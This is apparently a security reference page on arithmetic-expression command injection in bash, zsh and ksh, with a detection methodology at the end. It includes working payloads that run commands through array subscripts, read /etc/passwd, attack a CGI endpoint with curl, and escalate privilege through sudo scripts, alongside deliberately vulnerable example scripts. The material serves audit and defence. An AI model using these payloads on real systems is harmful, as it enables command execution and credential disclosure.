Page cover

Shell Arithmetic Expression Exploitation

Affected Shells: bash, zsh, ksh, pdksh, mksh

Technical Analysis

When a variable is declared as an integer type or used in arithmetic contexts, shells don't just evaluate the value as a number they evaluate it as an arithmetic expression. This includes:

  • Mathematical operators (+, -, *, /)

  • Assignment operators (=, +=, -=)

  • Array subscripts with command substitution: array[$(command)]

The key exploitation primitive is that array subscripts can contain command substitutions and this is valid arithmetic expression syntax:
x[$(whoami)]=value

Integer Variable Declaration

Integer Variable Declarations
typeset -i n
declare -i n
n="$user_input"

The variable is to be treated as an integer; arithmetic evaluation is performed when the variable is assigned a value.

Exploit:
./script.sh 'x[$(whoami>&2)]'

Arithmetic Expansion

Arithmetic Expansion
#!/bin/bash
result=$(( $user_input ))
# or
result=$[ $user_input ]
Exploit:
./script.sh 'x[$(cat /etc/passwd>&2)]'

Comparison Operators in [[ ]]

This is the sneaky one that looks safe:
#!/bin/bash
if [[ "$user_input" -eq 100 ]]; then
    echo "OK"
fi

Operators like -eq, -ne, -lt, -le, -gt, -ge inside [[ ]] trigger arithmetic evaluation of their operands.

Exploit:
curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgi

Parameter Expansion

offset and length evaluated as arithmetic
${var:$offset:$length}

Read Command

Even reading from stdin triggers this:
typeset -i n
read n    
CGI Script Exploitation
Vulnerable CGI:
#!/bin/bash
read PARAMS
NUM="${PARAMS#num=}"
if [[ "$NUM" -eq 100 ]]; then
    echo "OK"
else
    echo "NG"
fi
Exploit Payload:
curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://target/index.cgi
CSV Injection
Vulnerable Script:
#!/bin/bash
while IFS=, read item price num; do
    echo "$item,$((price*num))"
done < "data.csv"
Malicious CSV Entry:
product,100,x[$(whoami>&2)]
Privilege Escalation via SUID/Sudo Scripts
Vulnerable Code
#!/bin/bash
typeset -i n
n="$1"
Exploit
sudo ./script.sh 'x[$(whoami>&2)]'
Variable Overwrite
Expected: Always prints 5
#!/bin/bash
typeset -i n
a=5
n="$1"
echo "$a"
The arithmetic expression a=10 was evaluated, overwriting the variable a
./script.sh a=10
# Output: 10
Detection Methodology

Step 1: Code Audit - Find Vulnerable Patterns

Step 2: Trace User Input Flow

Identify all entry points for user data:

  • Command-line arguments: $1, $2, $@, $*

  • Environment variables: $QUERY_STRING, $HTTP_*

  • File input: read command

  • Stdin: read without -r flag

Step 3: Test with Proof-of-Concept

Step 4: Verify Execution Context

Last updated